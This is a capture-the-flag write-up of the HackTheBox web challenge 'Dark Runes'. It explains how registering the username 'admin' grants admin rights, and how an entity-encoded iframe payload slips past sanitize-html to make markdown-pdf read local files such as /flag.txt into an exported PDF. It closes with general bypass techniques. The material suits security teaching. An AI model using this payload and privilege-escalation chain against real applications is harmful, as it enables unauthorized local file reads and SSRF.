Note
No admin row is seeded, so registering username 'admin' grants isAdmin. The PDF export pipeline stores HTML through sanitize-html (strips <iframe>) but node-html-markdown later decodes HTML entities, so a double-encoded <iframe src=file:///flag.txt> is reborn as a live tag and markdown-pdf (remarkable html:true) renders it, reading local files into the PDF.
Dark Runes — register-as-admin → entity-encoded iframe → markdown-pdf LFI
Platform: HackTheBox · Category: Web (server-side) · Stack: Node/Express, EJS, sanitize-html, node-html-markdown, markdown-pdf
Challenge overview
A document app where admins can export documents to PDF. The flag is at /flag.txt. There's a 4-digit
"access pass" for a debug export, but it's a dead end — every failed attempt rotates it:
router.post("/document/debug/export", isAuthenticated, isAdmin, async (req, res) => {
const { access_pass, content } = req.body;
if (!verifyPass(access_pass)) { rotatePass(); return res.status(403).send("BAD PASS..."); }
...
});
So brute force is impossible. The real path is the normal export route plus an HTML-sanitizer quirk.
Step 1 — become admin (no admin is seeded)
Authorization is purely username === "admin":
const isAdmin = (req, res, next) =>
req.user.username === "admin" ? next() : res.status(403).send("Forbidden");
The cookie is base64(JSON.stringify({username,id}))-sha256(body+SECRET) and registration never
reserves admin — findUser("admin") returns nothing because no such account exists in the seed.
So just register a user literally named admin; the server signs a perfectly valid admin cookie for
you. (No need to forge the HMAC — the app does it.)
Step 2 — the sanitizer/markdown round-trip that revives <iframe>
Creating a document runs the content through sanitize-html, which drops disallowed tags like
<iframe>:
const sanitizedContent = sanitizeHtml(content, { allowedAttributes: { a: ["style"], ... } });
addDocument(user.id, sanitizedContent, integrity);
But the export route doesn't render the stored HTML directly — it first converts it back with
node-html-markdown, then renders the markdown to PDF with HTML enabled:
const content = nhm.translate(document.content); // node-html-markdown
const generatedPDF = await generatePDF(content); // markdown-pdf, remarkable { html: true }
The trick: submit the iframe HTML-entity-encoded so sanitize-html sees harmless text, not a
tag, and leaves it intact:
<iframe src="file:///flag.txt"></iframe>
sanitize-html keeps the text node as-is. Then nhm.translate decodes the entities back to real
< / > while emitting markdown, and markdown-pdf (with remarkable { html: true }) renders the
result as live HTML — so the <iframe> is reconstituted and points at a local file.
Step 3 — read the flag into the PDF
1. register username=admin -> app issues a valid admin cookie
2. POST /documents content = <iframe src="file:///flag.txt"></iframe>
3. GET /document/export/<id> (admin) -> PDF embeds the iframe -> renders /flag.txt
Flag: HTB{F0rs33_3num3r3t3_F!nd_3XplOit}
Takeaways (generalized techniques)
- Authorization by username with no seeded privileged account = register the privileged name. Always
test whether
admin/rootcan simply be registered when the check isuser.username === "admin". - Sanitize-then-transform is a sanitizer bypass. A sanitizer only protects the representation it
sees. If a later stage decodes entities / re-parses (
node-html-markdown, a markdown→HTML step, another HTML pass), feed it entity-encoded markup (<iframe>) that is inert at sanitize time but becomes a live tag downstream. The vulnerable shape issanitize(x)stored, thendecode/translate(x)rendered. - HTML→PDF renderers are LFI/SSRF engines. Headless HTML-to-PDF (markdown-pdf/remarkable, wkhtmltopdf,
Puppeteer) with HTML enabled will happily resolve
<iframe src="file:///...">or remote URLs from the server's context — local file read / SSRF without any browser of your own.
Sources & references
- Challenge source:
hackthebox/web/dark_runes - HackTricks server-side XSS → PDF / SSRF: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf